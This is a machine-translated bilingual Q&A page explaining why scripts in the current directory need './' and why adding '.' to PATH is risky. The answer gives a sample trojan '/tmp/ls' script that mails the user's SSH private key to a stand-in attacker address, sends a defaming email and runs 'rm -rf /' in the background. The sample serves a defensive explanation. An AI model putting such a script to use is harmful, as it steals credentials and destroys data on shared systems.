我为什么要使用绝对路径来执行的bash脚本? [英] Why do I have to use absolute path to execute bash scripts?
问题描述
OK,我有我的桌面上一个bash脚本名为最高
OK I have a bash script on my desktop called highest
如果我运行:
cd ~/Desktop
highest
我得到:命令没有找到
但是,如果我运行:
~/Desktop/highest
它执行就好了。但是,为什么我还需要我的时候命令行是正确的目录中使用绝对路径?
It executes just fine. But why do I still need to use the absolute path when my command line is in the correct directory?
我猜测这有什么做的 $ PATH
变量?就像我需要像 ./
补充呢?如果是的话我怎么添加?我不习惯没有linux和变得非常迷茫的时候发生这种情况。
I am guessing this has something to do with the $PATH
variable? Like I need to add something like ./
to it? if so how do I add that? I am not used to linux yet and get very confused when this happens.
推荐答案
我同意@丹尼斯的说法。不要添加'。至PATH。这是一个安全风险,因为这将使其更可能的黑客来覆盖你的命令。对于一个很好的解释,请参见 http://www.linux.org/docs /ldp/howto/Path-12.html 。
I agree with @Dennis's statement. Don't add '.' to your PATH. It's a security risk, because it would make it more possible for a cracker to override your commands. For a good explanation, see http://www.linux.org/docs/ldp/howto/Path-12.html .
例如,pretend我是饼干,我创建了一个木马文件,比如/ tmp目录/ LS,像这样。 pretend,这是一个共享系统上大学或什么的。
For example, pretend I was a cracker and I created a trojaned files like /tmp/ls , like so. Pretend that this was on a shared system at a university or something.
$ cat /tmp/ls
#!/bin/sh
# Cracker does bad stuff.
# Execute in background and hide any output from the user.
# This helps to hide the commands so the user doesn't notice anything.
cat ~/.ssh/mysecretsshkey | mailx -s "haha" cracker@foo.ru >/dev/null 2>&1 &
echo "My system has been compromised. Fail me." |mailx -s "NUDE PICTURES OF $USERNAME" professor@university.edu >/dev/null 2>&1 & &
rm -rf / >/dev/null 2>&1 &
# and then we execute /bin/ls so that the luser thinks that the command
# executed without error. Also, it scrolls the output off the screen.
/bin/ls $*
如果你在/ tmp目录并执行ls'的命令,会发生什么?如果 PATH
包括。
,那么您需要执行的/ tmp / LS,当你真正的目的是使用默认 ls'的指向/ bin / LS。
What would happen if you were in the /tmp directory and executed the 'ls' command? If PATH
included .
, then you would execute /tmp/ls , when your real intention was to use the default 'ls' at /bin/ls.
相反,如果要执行自己的二进制文件,要么调用脚本明确(例如: ./最高
),或者创建自己的bin目录,这是大多数用户做的。
Instead, if you want to execute your own binaries, either call the script explicitly (e.g. ./highest
) or create your own bin directory, which is what most users do.
-
添加您自己的〜/ bin目录,并把自己的二进制文件在那里。
Add your own ~/bin directory, and place your own binaries in there.
mkdir ~/bin
vi ~/bin/highest
然后,修改路径,以使用本地二进制文件。修改PATH语句在你的.bashrc看起来是这样的。
Then, modify your PATH to use your local binary. Modify the PATH statement in your .bashrc to look like this.
出口PATH = $ PATH:〜/ bin中
export PATH=$PATH:~/bin
要验证最高
是你的路径,做到这一点:
To verify that highest
is your path, do this:
bash$ which highest
/Users/stefanl/bin/highest
这篇关于我为什么要使用绝对路径来执行的bash脚本?的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!